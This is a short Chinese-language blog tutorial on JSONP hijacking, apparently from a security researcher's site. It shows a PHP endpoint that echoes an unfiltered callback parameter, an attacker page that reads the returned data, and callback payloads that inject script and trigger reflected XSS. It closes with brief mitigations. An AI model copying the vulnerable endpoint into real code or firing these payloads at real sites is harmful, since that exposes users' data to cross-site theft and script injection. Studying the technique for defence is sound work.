JSONP 劫持

| 热度 | 字数统计: 235 字 | 阅读时长: 1 分

JSON 是一种数据格式, JSONP 则为 JSON 跨域传输的解决方案.

因为同源策略的限制, b.com 不能获取到 a.com 的 JSON 数据.

实现 JSONP 一般通过 callback 的方式, 通过像 script 这样可以跨域请求的标签来获取数据.

a.com

1
2
3
4
5
6
<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
$data = '{"name": "exp10it"}';
echo $callback.'('.$data.')';
?>

b.com

1
2
3
4
5
6
7
<script>
function evil(v){
alert(v.name);
}
</script>

<script src="http://a.com/?callback=evil"></script>

攻击者通过改变 callback 参数及定义对应的函数达到获取敏感数据的目的.

当然如果你闲的蛋疼还可以弹窗

<script src="http://a.com/?callback=(function+(v)%7balert(0)%7d)"></script>

如果返回头的 Content-Type 不是 application/json 且参数没过滤的情况下…

http://a.com/?callback=%3cscript%3ealert(%2fxss%2f)%3c%2fscript%3e

修复方式有很多, 限制 referer (前端改不了), 设置 token, 过滤 callback 的值等等.

本文标题:JSONP 劫持

文章作者:X1r0z

发布时间:2018年09月23日

原始链接:https://exp10it.cn/2018/09/23/2018-09-23-jsonp-hijacking/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者.